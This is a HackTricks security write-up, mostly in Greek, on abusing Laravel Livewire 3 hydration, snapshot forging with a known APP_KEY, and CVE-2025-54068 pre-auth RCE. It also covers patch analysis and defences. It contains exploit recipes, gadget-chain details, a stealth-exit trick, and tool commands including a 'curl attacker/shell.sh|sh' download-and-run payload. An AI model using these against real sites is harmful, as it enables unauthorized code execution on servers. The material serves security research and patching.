Laravel Livewire Hydration & Synthesizer Abuse

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Ανακεφαλαίωση της state machine του Livewire

Τα Livewire 3 components ανταλλάσσουν την κατάστασή τους μέσω snapshots που περιέχουν data, memo και ένα checksum. Κάθε POST στο /livewire/update κάνει rehydrate το JSON snapshot server-side και εκτελεί τα queued calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Οποιοσδήποτε κατέχει το APP_KEY (που χρησιμοποιείται για να παραχθεί το $hashKey) μπορεί επομένως να κατασκευάσει arbitrary snapshots εκ νέου υπολογίζοντας το HMAC.

Οι complex properties κωδικοποιούνται ως synthetic tuples που εντοπίζονται από το Livewire\Drawer\BaseUtils::isSyntheticTuple()· κάθε tuple είναι [value, {"s":"<key>", ...meta}]. Ο πυρήνας του hydration απλώς μεταβιβάζει κάθε tuple στο synth που επιλέγεται στο HandleComponents::$propertySynthesizers και κάνει recursion πάνω στα children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Αυτός ο αναδρομικός σχεδιασμός κάνει το Livewire μια generic object-instantiation engine μόλις ένας attacker ελέγχει είτε το tuple metadata είτε οποιοδήποτε nested tuple που επεξεργάζεται κατά τη διάρκεια της recursion.

Synthesizers που δίνουν gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Επειδή τα synths καλούν $hydrateChild σε κάθε nested element, μπορούν να χτιστούν arbitrary gadget graphs στοιβάζοντας tuples αναδρομικά.

Forging snapshots όταν το APP_KEY είναι γνωστό

  1. Capture ένα legitimate /livewire/update request και decode το components[0].snapshot.
  2. Inject nested tuples που δείχνουν σε gadget classes και recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode το snapshot, κράτα _token/memo untouched, και replay το request.

Ένα minimal proof of execution χρησιμοποιεί Guzzle’s FnStream και Flysystem’s ShardedPrefixPublicUrlGenerator. Ένα tuple instantiates FnStream με constructor data { "__toString": "phpinfo" }, το επόμενο instantiates ShardedPrefixPublicUrlGenerator με [FnStreamInstance] ως $prefixes. Όταν το Flysystem κάνει cast κάθε prefix σε string, η PHP καλεί το attacker-provided __toString callable, καλώντας οποιαδήποτε function χωρίς arguments.

Από function calls σε full RCE

Εκμεταλλευόμενοι τα instantiation primitives του Livewire, οι Synacktiv προσάρμοσαν το phpggc chain Laravel/RCE4 ώστε το hydration να εκκινεί ένα object του οποίου η public Queueable state ενεργοποιεί deserialization:

  1. Queueable trait – οποιοδήποτε object που χρησιμοποιεί Illuminate\Bus\Queueable εκθέτει public $chained και εκτελεί unserialize(array_shift($this->chained)) στο dispatchNextJobInChain().
  2. BroadcastEvent wrapper – το Illuminate\Broadcasting\BroadcastEvent (ShouldQueue) instantiates via CollectionSynth / FormObjectSynth με το public $chained populated.
  3. phpggc Laravel/RCE4Adapted – το serialized blob που αποθηκεύεται στο $chained[0] χτίζει PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Το Signed::__invoke() τελικά καλεί call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – δίνοντας ένα δεύτερο FnStream callable όπως [new Laravel\Prompts\Terminal(), 'exit'], το request τελειώνει με exit() αντί για ένα noisy exception, κρατώντας το HTTP response clean.

Automating snapshot forgery

Το synacktiv/laravel-crypto-killer πλέον παρέχει ένα livewire mode που συνδυάζει τα πάντα:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Το εργαλείο αναλύει το captured snapshot, εισάγει τα gadget tuples, επαναϋπολογίζει το checksum και εκτυπώνει ένα έτοιμο προς αποστολή /livewire/update payload.

CVE-2025-54068 – RCE without APP_KEY

Σύμφωνα με το vendor advisory, το issue επηρεάζει το Livewire v3 (>= 3.0.0-beta.1 και <= 3.6.3) και είναι μοναδικό στο v3.

Τα updates συγχωνεύονται στο component state αφού επαληθευτεί το snapshot checksum. Αν μια property μέσα στο snapshot είναι (ή γίνει) synthetic tuple, το Livewire επαναχρησιμοποιεί το meta της ενώ hydrating την attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Βρες ένα Livewire component με untyped public property (π.χ. public $count;).
  2. Στείλε ένα update που θέτει αυτή την ιδιότητα σε []. Το επόμενο snapshot τώρα το αποθηκεύει ως [[], {"s": "arr"}].

Ένα minimal type-juggling flow μοιάζει ως εξής:

POST /livewire/update
...
"updates": {"count": []}

Έπειτα το επόμενο snapshot αποθηκεύει ένα tuple που κρατά το arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Φτιάξε ένα άλλο updates payload όπου αυτή η ιδιότητα περιέχει ένα deeply nested array που ενσωματώνει tuples όπως [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Κατά τη διάρκεια της recursion, το hydrate() αξιολογεί κάθε nested child ανεξάρτητα, οπότε attacker-chosen synth keys/classes γίνονται δεκτά παρότι το outer tuple και το checksum δεν άλλαξαν ποτέ.
  3. Επανχρησιμοποίησε τα ίδια CollectionSynth/FormObjectSynth primitives για να instantiate ένα Queueable gadget του οποίου το $chained[0] περιέχει το phpggc payload. Το Livewire επεξεργάζεται τα forged updates, καλεί dispatchNextJobInChain(), και φτάνει στο system(<cmd>) χωρίς να γνωρίζει το APP_KEY.

Κύριοι λόγοι που αυτό δουλεύει:

  • Τα updates δεν καλύπτονται από το snapshot checksum.
  • Το getMetaForPath() εμπιστεύεται όποιο synth metadata υπήρχε ήδη για εκείνη την ιδιότητα, ακόμη κι αν ο attacker την ανάγκασε προηγουμένως να γίνει tuple μέσω weak typing.
  • Η recursion μαζί με το weak typing επιτρέπει σε κάθε nested array να ερμηνεύεται ως ένα ολοκαίνουργιο tuple, οπότε arbitrary synth keys και arbitrary classes τελικά φτάνουν στο hydration.

High-value pre-auth target: Filament login forms

Applications που είναι χτισμένες πάνω στο Livewire συχνά εκθέτουν μια ακόμη πιο εύκολη pre-auth επιφάνεια από ένα toy public $count; property. Για παράδειγμα, τα Filament login pages συνήθως hydrate ένα weakly typed $form object που ήδη serialized ως form tuple στο snapshot. Αυτό αφαιρεί πλήρως το βήμα “scalar -> array -> arr tuple”:

  • Το snapshot ήδη περιέχει κάτι σαν {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Ένας attacker μπορεί να στείλει updates.form με nested malicious tuples απευθείας, επειδή η recursion τελικά θα reinterpret children όπως [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Γι’ αυτό τα pre-auth Livewire entrypoints που εκθέτουν FormObjectSynth objects είναι ιδιαίτερα ελκυστικά: ήδη παρέχουν και instantiation και public-property assignment.

Patch analysis: preserve raw metadata during update recursion

Το fix εισάγει μια dedicated hydratePropertyUpdate() διαδρομή ώστε οι nested update values να μην καλούν πλέον το γενικό hydrate($child, ...) πάνω σε attacker-controlled children:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Επίδραση ασφαλείας του patch:

  • Τα nested updates επαληθεύονται ξανά απέναντι στο αρχικό raw snapshot path αντί να εμπιστεύονται φρέσκα attacker-supplied tuple metadata.
  • Το recursive hydration δεν επιτρέπει πλέον στα children να ξαναορίσουν s ή class mid-flight.
  • Αυτό μπλοκάρει τόσο το arbitrary synthesizer switching όσο και το arbitrary class selection μέσα σε nested update arrays.

Livepyre – end-to-end exploitation

Livepyre αυτοματοποιεί τόσο το APP_KEY-less CVE όσο και το signed-snapshot path:

  • Κάνει fingerprint την εγκατεστημένη έκδοση του Livewire parsing <script src="/livewire/livewire.js?id=HASH">?v=HASH) και αντιστοιχίζει το hash σε vulnerable releases.
  • Συλλέγει baseline snapshots επαναλαμβάνοντας benign actions και εξάγοντας components[].snapshot.
  • Γεννά είτε ένα updates-only payload (CVE-2025-54068) είτε ένα forged snapshot (known APP_KEY) που ενσωματώνει το phpggc chain.
  • Αν δεν βρεθεί parameter με object type σε ένα snapshot, το Livepyre κάνει fallback σε brute-forcing candidate params για να φτάσει σε a coercible property.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check εκτελεί ένα μη καταστροφικό probe, -F παραλείπει το version gating, -H και -P προσθέτουν custom headers ή proxies, και --function/--param προσαρμόζουν τη php function που καλείται από το gadget chain.

Defensive considerations

  • Αναβαθμίστε σε fixed Livewire builds (>= 3.6.4 according to the vendor bulletin) και αναπτύξτε το vendor patch για το CVE-2025-54068.
  • Αποφύγετε weakly typed public properties σε Livewire components· τα explicit scalar types αποτρέπουν το να μετατραπούν οι property values σε arrays/tuples.
  • Καταχωρήστε μόνο τα synthesizers που πραγματικά χρειάζεστε και αντιμετωπίστε τα user-controlled metadata ($meta['class']) ως untrusted.
  • Απορρίψτε updates που αλλάζουν το JSON type ενός property (π.χ. scalar -> array) εκτός αν επιτρέπεται ρητά, και ξανα-παράγετε synth metadata αντί να επαναχρησιμοποιείτε stale tuples.
  • Περιστρέψτε άμεσα το APP_KEY μετά από οποιαδήποτε disclosure επειδή επιτρέπει offline snapshot forging ανεξάρτητα από το πόσο patched είναι ο code-base.

References

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks